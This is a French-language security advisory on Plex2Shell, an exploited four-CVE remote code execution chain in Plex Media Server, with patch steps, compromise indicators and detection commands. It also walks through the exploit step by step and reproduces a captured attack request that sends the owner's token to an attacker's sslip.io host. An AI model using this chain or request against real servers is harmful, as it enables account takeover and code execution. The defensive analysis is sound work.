Plex2Shell : RCE dans Plex exploitée dans la nature (CVE-2026-96656)

En bref

• Plex2Shell enchaîne quatre vulnérabilités de Plex Media Server, CVE-2026-96652, CVE-2026-96654, CVE-2026-96655 et CVE-2026-96656. Une seule requête non authentifiée suffit pour aboutir à une exécution de code sous l'utilisateur du service Plex. Une preuve de concept publique a été publiée le 16 octobre 2026.
• Toutes les versions de Plex Media Server antérieures à 1.43.3.10861 sont concernées. Le chercheur qui a découvert la chaîne lui attribue un score CVSS v3.1 de 9.8 ; les CVE individuelles obtiennent entre 4.3 et 8.6, car chacune est évaluée isolément.
• L'exploitation dans la nature est confirmée. Plex a déclaré le 19 octobre que ces failles étaient « activement et largement exploitées » contre les serveurs exposés à Internet, avec le déploiement de mineurs de cryptomonnaie et de logiciels proxy sur les hôtes compromis. La CISA a ajouté les quatre CVE de la chaîne à son catalogue Known Exploited Vulnerabilities le 20 octobre.
• Installez immédiatement la version 1.43.3.10861 ou une version ultérieure. Si votre serveur était accessible depuis Internet sur le port 32400 sans correctif, Plex recommande de le considérer comme potentiellement compromis et de rechercher les indicateurs ci-dessous avant de lui faire à nouveau confiance.

Suis-je concerné ?

Vous êtes concerné si toutes ces conditions sont réunies :

• Vous utilisez Plex Media Server sur une plateforme quelconque : Windows, macOS, Linux, Docker, un NAS ou NVIDIA Shield.
• La version est antérieure à 1.43.3.10861. Les fiches CVE indiquent que toutes les versions antérieures sont affectées, et la preuve de concept précise que la chaîne fonctionne jusqu'à 1.43.3.10828 inclus.
• Le port 32400 est accessible depuis Internet, via Plex Remote Access ou une redirection de port manuelle. Le point d'entrée de la chaîne est une requête provenant d'Internet, et les recommandations de Plex en cas de compromission visent les « serveurs exposés à Internet qui n'ont pas été mis à jour ».

Une cinquième faille corrigée dans la même version, CVE-2026-96651, est une traversée de répertoires via /system/agents/media/get qui nécessite un jeton de session valide quelconque plutôt qu'un accès depuis Internet. Elle permet à un attaquant présent sur le réseau de lire les fichiers accessibles à l'utilisateur de la session, y compris le PlexOnlineToken qui contrôle le compte Plex. Elle ne fait pas partie de la chaîne non authentifiée, mais bénéficie du même correctif.

Vérifiez la version sur chaque serveur, y compris les installations Docker et NAS. Dans Plex Web, ouvrez Settings, puis General, et consultez la version affichée. Sur l'hôte lui-même, le point de terminaison identity renvoie la version :

curl -s http://localhost:32400/identity | grep -o 'version="[^"]*"'   # run on the Plex host
docker exec plex curl -s http://localhost:32400/identity               # Docker: adjust the container name

Comment corriger le problème ?

Installez la version 1.43.3.10861 ou une version ultérieure. Les mises à jour automatiques la proposent dans Plex Web, sous Settings, General. Pour les installations manuelles, téléchargez la version actuelle depuis la page de téléchargement de Plex. L'avis de sécurité de Plex du 1 septembre 2026 détaille chaque plateforme, y compris les boutiques d'applications NAS, où le retard des paquets mis à jour imposait une installation manuelle, ainsi que Docker, en suivant la mise à jour de l'image pms-docker.

Vérifiez ensuite la version avec le contrôle identity ci-dessus et, si vous n'avez pas besoin d'accès distant, désactivez Remote Access sous Settings, Remote Access, comme le recommande Plex.

Si vous ne pouvez pas encore effectuer la mise à jour, bloquez l'accès au port 32400 depuis Internet au niveau du pare-feu. La première requête de la chaîne provient d'Internet : cette mesure bloque donc la chaîne non authentifiée. Ses limites sont réelles : elle ne protège pas contre CVE-2026-96651, qui nécessite seulement une position adjacente sur le réseau et un jeton de session valide, et elle supprime la lecture à distance pour vos utilisateurs.

Si le serveur était exposé à Internet sans correctif, effectuez les vérifications de compromission ci-dessous avant de le remettre en service et appliquez les recommandations de restauration de Plex si vous trouvez un indicateur.

Quelle est la cause profonde ?

La chaîne fonctionne parce que quatre faiblesses indépendantes donnent chacune à l'attaquant la position nécessaire à l'étape suivante : un contrôle de jeton sans validation, une garde d'autorisation incapable d'arrêter l'exécution, un contrôle de préfixe d'URL qui se fie aux apparences et un chargeur de codecs qui exécute tout ce qu'il trouve. Le chercheur en sécurité Zach Main a signalé ces quatre failles à Plex le 27 juillet 2026 et publié les détails, avec une analyse du code source, le 16 octobre 2026.

Les scores proviennent des fiches CVE publiées le 23 septembre 2026.

Étape 1 : une barrière de jeton qui vérifie la présence, pas la validité. Le point de terminaison du protocole compagnon derrière /player/timeline protège les requêtes WAN de cette manière, selon le code cité dans la divulgation :

HttpReply CompanionProxyRequestHandler::handle(HttpRequest& req) {
    if (req.locality == Locality::WAN && !req.hasParam("X-Plex-Token")) {
        return HttpReply{401};
    }
    // hasParam() checks existence, not validity
    return CompanionProxyRequestHandler::instance().dispatch(req);
}

hasParam() indique si l'en-tête existe. X-Plex-Token: junk passe le contrôle. Lorsqu'un lecteur abonné se désabonne, le serveur envoie un POST de rappel à une URL assemblée à partir des paramètres protocol, host et port fournis par le lecteur :

std::string Controller::callbackUrl() const {
    return (boost::format("%1%://%2%:%3%") % protocol % host % port).str();
}

Rien ne vérifie que protocol est un schéma. Une URL complète dans ce paramètre envoie donc le POST du serveur où l'attaquant le souhaite, y compris vers le serveur lui-même sur l'interface de bouclage.

Étape 2 : une garde d'autorisation incapable d'arrêter l'appel. L'API des plugins /system/agents/* est accessible sans jeton pour les requêtes provenant de l'interface de bouclage. Son point de terminaison searchOne tente de rejeter les identifiants d'agents non enregistrés :

@lock(self.agent_info)
def inner():
    if identifier not in Core.messaging.plugin_list():
        return  # returns from inner(), not from search_one
    # ... proceed ...

Le décorateur @lock enveloppe inner() et ignore sa valeur de retour. Lorsque la garde retourne prématurément, search_one continue donc son exécution. L'identifiant est affecté à target, puis inséré sans encodage dans une URL interne :

url = 'http://127.0.0.1:32400/:/plugins/%s/messaging/%s' % (target, key)

Un ? dans l'identifiant ouvre une chaîne de requête et un # tronque le reste. L'attaquant contrôle ainsi le chemin et les paramètres de la requête de bouclage suivante : un appel forgé vers n'importe quelle fonction d'un plugin.

Étape 3 : un contrôle de préfixe qui se fie aux apparences. Le framework Python des plugins joint le jeton administrateur du propriétaire aux requêtes sortantes qui semblent internes :

if url.find('http://127.0.0.1') == 0:
    request.headers['X-Plex-Token'] = os.environ['PLEXTOKEN']

Il s'agit d'une comparaison de préfixe sans vérification de délimiteur. Un nom d'hôte comme 127.0.0.1.<attacker-ip>.sslip.io commence par 127.0.0.1, ce qui entraîne l'ajout du jeton, mais le service DNS sslip.io résout ce nom vers l'adresse IP de l'attaquant. L'étape 2 forge un appel à la fonction GetResultFromNetwork de l'agent TheTVDB fourni avec Plex, qui récupère une URL, en la faisant pointer vers un tel nom d'hôte. Le jeton administrateur local-* du propriétaire est transmis au serveur d'écoute de l'attaquant.

Étape 4 : une préférence qui devient une écriture de fichier, et un chargeur qui fait confiance à son répertoire. Avec le jeton du propriétaire, PUT /:/prefs définit TranscoderH264Options, une chaîne ajoutée telle quelle à la ligne de commande de l'encodeur x264 à chaque transcodage. L'option de débogage x264 dump-yuv écrit les images décodées dans un chemin choisi par l'appelant, et qp=0 rend l'encodage sans perte : les images écrites sont donc une copie exacte, bit pour bit, de la vidéo d'entrée. L'attaquant héberge une vidéo porteuse dont la première image est un objet partagé ELF, déclenche un transcodage via le point de terminaison /video/:/transcode/universal (CVE-2026-96655 permet cette récupération sans liste d'autorisation), et l'ELF est écrit sous forme de fichier .so dans le répertoire Codecs. Au démarrage du transcodeur, avpriv_load_new_libs, dans la bibliothèque fournie libavutil.so.58, énumère ce répertoire et appelle dlopen() sur chaque fichier .so, sans contrôle de signature, de bit d'exécution ni de symbole. Un objet partagé contenant seulement un constructeur ELF exécute quand même son code au chargement.

Comment la faille est-elle exploitée ?

La preuve de concept sur github.com/code-zm/plex2shell enchaîne toutes les étapes. Voici leur déroulement contre un serveur vulnérable :

1. Enregistrer un lecteur via le point de terminaison compagnon à interrogation longue, en envoyant X-Plex-Token: junk. Le contrôle de présence seul laisse passer la requête.
2. S'abonner avec un paramètre protocol contenant l'URL de bouclage de l'appel ciblé à l'API des plugins, puis se désabonner. Le serveur s'envoie la requête POST forgée depuis une véritable origine de bouclage.
3. L'appel searchOne forgé atteint GetResultFromNetwork de l'agent TheTVDB avec une URL qui commence par http://127.0.0.1 et se résout vers l'attaquant. Le serveur joint le jeton administrateur du propriétaire et le transmet.
4. PUT /:/prefs définit TranscoderH264Options sur dump-yuv=<codec-dir>/x.so:qp=0.
5. Un transcodage est déclenché sur une vidéo porteuse hébergée par l'attaquant. x264 écrit l'ELF à l'identique dans le répertoire Codecs.
6. Un second transcodage énumère et charge le fichier .so. Son constructeur s'exécute sous l'utilisateur du service Plex, uid=1000(plex) sur une installation Linux par défaut. Dans la preuve de concept, il crée un processus enfant et exécute un shell inversé.

La première requête capturée lors d'une exploitation dans la nature, issue d'un journal Zeek de leurre publié par le chercheur boredhackerblog le 17 octobre 2026, montre les étapes 1 à 3 dans une seule URL d'abonnement, avec l'agent utilisateur Python-urllib/3.10 :

/player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http://127.0.0.1:32400/system/agents/z/searchOne?mediaType=1&lang=en&identifier=com.plexapp.agents.thetvdb%2Ffunction%2FGetResultFromNetwork%3Furl%3Dhttp%3A%2F%2F127.0.0.1.45-194-92-222.sslip.io%3A8952%2FTKN_1681033e9a73_17471%23&port=8952&commandID=1&X-Plex-Target-Client-Identifier=poc_0cf927be72d2_17471

L'hôte sslip.io utilisé pour voler le jeton et le chemin identifier=com.plexapp.agents.thetvdb/function/GetResultFromNetwork sont les deux signatures les plus reconnaissables de l'attaque dans les journaux HTTP.

Quel est le déroulement de l'attaque ?

Le déroulement est linéaire : franchir la barrière de jeton avec une valeur quelconque, amener le serveur à interroger sa propre API de bouclage, forger un appel de plugin qui divulgue le jeton du propriétaire, détourner la préférence du transcodeur pour écrire une charge utile ELF, puis laisser le chargeur de codecs l'exécuter.

Que peut faire un attaquant ?

• Exécuter du code arbitraire sous l'utilisateur du service Plex : installer des mineurs de cryptomonnaie, des logiciels proxy, des portes dérobées ou tout autre programme que ce compte peut exécuter. Dans les attaques observées, un mineur XMRig et une porte dérobée de proxy résidentiel ont été déployés.
• Prendre le contrôle du compte Plex. Le jeton volé du propriétaire et le PlexOnlineToken accessible via CVE-2026-96651 contrôlent le compte et le serveur : bibliothèques, paramètres et appareils connectés.
• Exploiter la bande passante de l'hôte et son adresse IP résidentielle. La porte dérobée « myawesomeproxy » fait transiter le trafic d'autres personnes par la connexion Internet de la victime, un modèle de compromission qui monétise les connexions domestiques.
• Accéder à tout ce qui est accessible au compte de service : partages multimédias montés, autres identifiants stockés sur la même machine ou machine virtuelle, et toutes les ressources voisines que l'utilisateur plex peut lire.

Conditions nécessaires à l'attaquant : un accès au port 32400 depuis Internet pour la chaîne non authentifiée, et un hôte que le serveur peut contacter pour transmettre le jeton et récupérer le média. Aucune authentification, interaction utilisateur ou configuration différente des valeurs par défaut n'est requise ; la preuve de concept fournit aussi une charge utile Windows. Pour CVE-2026-96651 seule, une position adjacente sur le réseau et un jeton de session valide quelconque suffisent.

Pourquoi le correctif fonctionne-t-il ?

Plex Media Server est un logiciel propriétaire : aucun diff public du correctif ne peut donc être cité. Les notes de version 1.43.3.10861 nomment deux corrections, qui interrompent la chaîne à son entrée et à l'étape d'écriture de la charge utile :

• « (Sécurité) Correction d'une vulnérabilité potentielle dans CompanionProxy. (PM-5763) » couvre le point de terminaison de l'étape 1 associé à CVE-2026-96652.
• « (Sécurité) Les préférences TranscoderH264Options et TranscoderH264OptionsOverride ne peuvent plus être modifiées via le réseau. (PM-5766) » supprime la primitive d'écriture de l'étape 4 : même un attaquant disposant du jeton du propriétaire ne peut plus définir la préférence du transcodeur via l'API, ce qui empêche de préparer l'écriture de fichier dump-yuv.

Les autres étapes ont été corrigées dans la même version : l'avis de Plex du 19 octobre associe CVE-2026-96652, CVE-2026-96654, CVE-2026-96655 et CVE-2026-96656 à la version 1.43.3 et précise que 1.43.3.10861 et les versions ultérieures ne sont pas affectées. Le dépôt de la preuve de concept confirme que la chaîne y est corrigée. Comme la chaîne nécessite les quatre étapes, en bloquer une seule arrête le parcours non authentifié ; cette version en bloque plusieurs.

Selon l'éditeur, le correctif couvre entièrement cette chaîne, avec une réserve à connaître : le mécanisme de chargement de code qui subsiste, un répertoire dont le serveur exécute les fichiers .so sans contrôle de signature ni de bit d'exécution, n'est sûr que tant qu'aucun autre mécanisme ne permet d'y écrire. Considérez toute future primitive d'écriture visant le répertoire de données Plex comme une exécution de code jusqu'à preuve du contraire.

Comment vérifier si j'ai été compromis ?

L'avis de Plex du 19 octobre est direct : si votre serveur est antérieur à 1.43.3.10861 et était accessible depuis Internet, considérez-le comme potentiellement compromis. Voici sa liste de vérification, complétée par les indicateurs publics de l'analyse de l'exploitation :

• Des processus lancés par Plex Media Server que vous ne reconnaissez pas, en particulier myawesomeproxy, mylovelyminer ou x12345.
• Des fichiers .so ou .dll inconnus dans le dossier Codecs de Plex.
• Des connexions sortantes vers proxystream.st, ou une utilisation élevée et prolongée du processeur alors qu'aucun contenu n'est lu.
• Des journaux HTTP contenant des requêtes /player/timeline/subscribe dont le paramètre protocol contient une URL complète, toute requête vers identifier=com.plexapp.agents.thetvdb/function/GetResultFromNetwork, ou des noms d'hôtes sous sslip.io se résolvant en 127.0.0.1.*. Les captures pcap destinées au travail sur les signatures sont publiées sur github.com/BoredHackerBlog/plex2shell_pcap.
• Des connexions depuis ou vers l'infrastructure d'attaque observée : 91.92.40.202, 176.65.139.228, 45.194.92.222, et des téléchargements de charges utiles depuis 217.60.194.116.
• Les empreintes SHA-256 des fichiers provenant des captures du leurre : 5712ef510481f15fe8b18fdd10b73026d57cb3d9d151878a692358b99a464441 (docker), 68938fb428f2bcfef4ede62f7b29cd0f15f37ed59e94462c099f2ca64e36baa7 (x, compressé avec UPX), b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49 (x, décompressé), e546b10aee5edc754da4f9b0baace00392257121911f630145078eafad1e6bd9 (myawesomeproxy), 2d3c618b21a7e2f8bcd735da188e44a7609ff3f204832dd0781cd09e4388c9db (xmrig).

Le dépôt de la preuve de concept fournit des règles YARA validées et un script de recherche en lecture seule qui contrôlent les artefacts de codecs déposés, les binaires des charges utiles et les journaux du serveur dans les chemins d'installation standards :

git clone https://github.com/code-zm/plex2shell
cd plex2shell/detection
sudo ./hunt/plex2shell-hunt.sh                       # auto-discovers Linux, snap and Docker installs
yara -r -w yara/plex2shell.yar "/var/lib/plexmediaserver/Library/Application Support/Plex Media Server"

Si un indicateur correspond, ou si une compromission ne peut pas être exclue, appliquez les recommandations de restauration de Plex : reconstruisez le serveur à partir d'une installation saine plutôt que de réutiliser l'ancien répertoire de données, supprimez tout le contenu du dossier Codecs, recherchez dans Preferences.xml des options de transcodeur que vous n'avez pas définies, déconnectez tous les appareils depuis les paramètres de votre compte Plex, changez votre mot de passe Plex et considérez comme potentiellement exposé tout ce que le compte de service pouvait atteindre, notamment les partages montés et les identifiants stockés.

Chronologie

• 2026-07-27 : Zach Main signale la chaîne au programme de sécurité de Plex.
• 2026-08-03 : Plex Media Server 1.43.3.10861 est publié sur le canal Beta avec les deux correctifs de sécurité nommés.
• 2026-08-04 : Plex accuse réception du signalement et verse la prime.
• 2026-09-01 : Plex publie « Mise à jour de sécurité importante pour Plex Media Server v1.43.2 et versions antérieures », appelant tous les propriétaires de serveurs à effectuer la mise à jour.
• 2026-09-23 : Publication de CVE-2026-96651, -96652, -96654, -96655 et -96656.
• 2026-10-16 : Divulgation publique avec l'analyse complète et la preuve de concept.
• 2026-10-17 : Première exploitation dans la nature observée sur un leurre, depuis 45.194.92.222, un jour après la divulgation.
• 2026-10-19 : Plex confirme une exploitation active et généralisée et publie le tableau des CVE ainsi que les recommandations en cas de compromission.
• 2026-10-20 : La CISA ajoute les quatre CVE de la chaîne au catalogue Known Exploited Vulnerabilities, avec des échéances au 2026-10-23 pour CVE-2026-96654 et CVE-2026-96656, et au 2026-11-03 pour CVE-2026-96652 et CVE-2026-96655.
• 2026-10-25 : Publication de cet article.

FAQ

Mon serveur était-il exposé si je n'ai jamais redirigé de port ?

Remote Access, activé par défaut, peut rendre le port 32400 accessible depuis Internet grâce à la traversée NAT, même sans redirection manuelle. Consultez Settings, Remote Access pour vérifier s'il indiquait « Fully accessible outside your network », et considérez comme exposé tout serveur qui était accessible sans correctif.

Pourquoi les scores CVE semblent-ils faibles alors que la chaîne est notée 9.8 ?

Chaque CVE est évaluée isolément, et les étapes que la chaîne débloque elle-même comportent des métriques de privilèges requis : CVE-2026-96656 obtient 7.2 en CVSS v3.1 parce qu'elle suppose un administrateur, alors que la chaîne donne ce rôle à l'attaquant sans authentification. Le chercheur attribue à la chaîne complète un score CVSS v3.1 de 9.8, et son inscription au catalogue KEV de la CISA reflète son exploitabilité réelle plutôt que les scores par CVE.

La version 1.43.3.10828 ou une version 1.43.2 me protège-t-elle ?

Non. La preuve de concept indique que la chaîne fonctionne jusqu'à 1.43.3.10828 inclus, et toutes les versions antérieures à 1.43.3.10861 figurent dans la plage affectée des fiches CVE. Seules 1.43.3.10861 et les versions ultérieures sont sûres. C'est aussi ce que signifie la mention « 1.43.2 et versions antérieures » dans l'avis de Plex du 1 septembre : installez la version 1.43.3 actuelle.

Que fait concrètement le logiciel malveillant déployé ?

Deux comportements ont été observés. Un processus de minage XMRig nommé mylovelyminer mine vers le serveur ota.proxystream[.]st, un domaine que Bitsight a associé en août 2026 au botnet de logiciels proxy AISURU. Une porte dérobée nommée myawesomeproxy transforme le serveur en proxy inverse pour le trafic d'autres personnes et l'annonce : « Exécuter ce logiciel sur l'un de vos appareils signifie que vous acceptez une utilisation externe potentielle de votre trafic Internet. »

J'utilise Plex dans Docker ou sur un NAS. Le correctif est-il différent ?

La version corrigée est la même : 1.43.3.10861. Les installations Docker se mettent à jour en récupérant l'image pms-docker actuelle, et les installations NAS nécessitaient souvent une installation manuelle du paquet en raison du retard des boutiques d'applications, selon le guide par plateforme de Plex du 1 septembre. Pour les vérifications de compromission, les analyses YARA ciblent le volume de configuration pour Docker et le répertoire de support de l'application propre à l'éditeur sur chaque plateforme.

Si aucun indicateur ne correspond, le correctif suffit-il ?

Le correctif arrête la chaîne et le logiciel malveillant qu'elle dépose. Comme le jeton volé du propriétaire et tout PlexOnlineToken exfiltré restent utilisables après la correction du serveur, les utilisateurs ayant constaté une activité suspecte doivent tout de même déconnecter tous les appareils et changer leur mot de passe Plex. Toute personne ayant un doute sur une exposition passée doit suivre les recommandations de reconstruction plutôt que de se fier à une liste de processus sans anomalie.

Trouvez les serveurs Plex non corrigés avant les attaquants

Analysez vos actifs exposés à Internet avec Ostorlab pour repérer chaque Plex Media Server de votre parc qui annonce encore une version antérieure à 1.43.3.10861, ainsi que les services et applications multimédias exposés qui l'entourent.

Références

• Divulgation de Zach Main, « Plex2Shell : RCE non authentifiée dans Plex Media Server », 16 octobre 2026, avec l'analyse du code source par étape et la chronologie de divulgation : https://zmain.info/blog/plex2shell (consulté le 25 octobre 2026)
• Preuve de concept et règles de détection (YARA, script de recherche, jeux de données de test) : https://github.com/code-zm/plex2shell (consulté le 25 octobre 2026)
• boredhackerblog, « Des vulnérabilités Plex exploitées dans la nature pour déposer un mineur de cryptomonnaie », 17 octobre 2026, avec l'URI d'attaque capturée, les adresses IP et les empreintes de fichiers : https://www.boredhackerblog.info/2026/10/plex-vulnerabilities-being-exploited-in.html (consulté le 25 octobre 2026)
• Captures pcap de l'exploitation : https://github.com/BoredHackerBlog/plex2shell_pcap (consulté le 25 octobre 2026)
• Avis de sécurité Plex « Mise à jour de sécurité importante pour Plex Media Server v1.43.2 et versions antérieures », 1 septembre 2026, mis à jour le 19 octobre 2026 avec le tableau des CVE, la confirmation d'exploitation active et la liste de vérification de compromission : https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319 (consulté le 25 octobre 2026)
• Notes de version de Plex Media Server 1.43.3.10861, 3 août 2026, nommant le correctif CompanionProxy (PM-5763) et celui de la modification réseau de TranscoderH264Options (PM-5766) : https://forums.plex.tv/t/plex-media-server/30447/712 (consulté le 25 octobre 2026)
• Fiche CVE-2026-96652 (CVSS v3.1 4.3, v4.0 5.3) : https://cveawg.mitre.org/api/cve/CVE-2026-96652 (consulté le 25 octobre 2026)
• Fiche CVE-2026-96654 (CVSS v3.1 6.5, v4.0 6.9) : https://cveawg.mitre.org/api/cve/CVE-2026-96654 (consulté le 25 octobre 2026)
• Fiche CVE-2026-96655 (CVSS v3.1 4.3, v4.0 5.3) : https://cveawg.mitre.org/api/cve/CVE-2026-96655 (consulté le 25 octobre 2026)
• Fiche CVE-2026-96656 (CVSS v3.1 7.2, v4.0 8.6) : https://cveawg.mitre.org/api/cve/CVE-2026-96656 (consulté le 25 octobre 2026)
• Fiche CVE-2026-96651 (CVSS v3.1 6.5, v4.0 7.1), la traversée de répertoires associée : https://cveawg.mitre.org/api/cve/CVE-2026-96651 (consulté le 25 octobre 2026)
• Catalogue Known Exploited Vulnerabilities de la CISA, avec l'ajout des quatre CVE de la chaîne le 20 octobre 2026 : https://www.cisa.gov/known-exploited-vulnerabilities-catalog (consulté le 25 octobre 2026)
• Avis CISA VA-26-266-01 avec les descriptions des cinq CVE et les vecteurs CVSS v3.1 : https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-266-01.json (consulté le 25 octobre 2026)
• The Hacker News, « Des pirates exploitent les failles Plex2Shell pour installer des mineurs de cryptomonnaie et une porte dérobée proxy Linux », 19 octobre 2026 : https://thehackernews.com/2026/10/hackers-exploit-plex2shell-flaws-to.html (consulté le 25 octobre 2026)
• Bitsight sur l'infrastructure proxystream.st et le botnet AISURU : https://www.bitsight.com/blog/who-invited-aisuru-lan-party (consulté le 25 octobre 2026)
• Discussion Reddit avec des témoignages d'utilisateurs d'instances compromises : https://www.reddit.com/r/PleX/comments/1x95krg/inthewild_exploitation_of_old_plex_servers/ (consulté le 25 octobre 2026)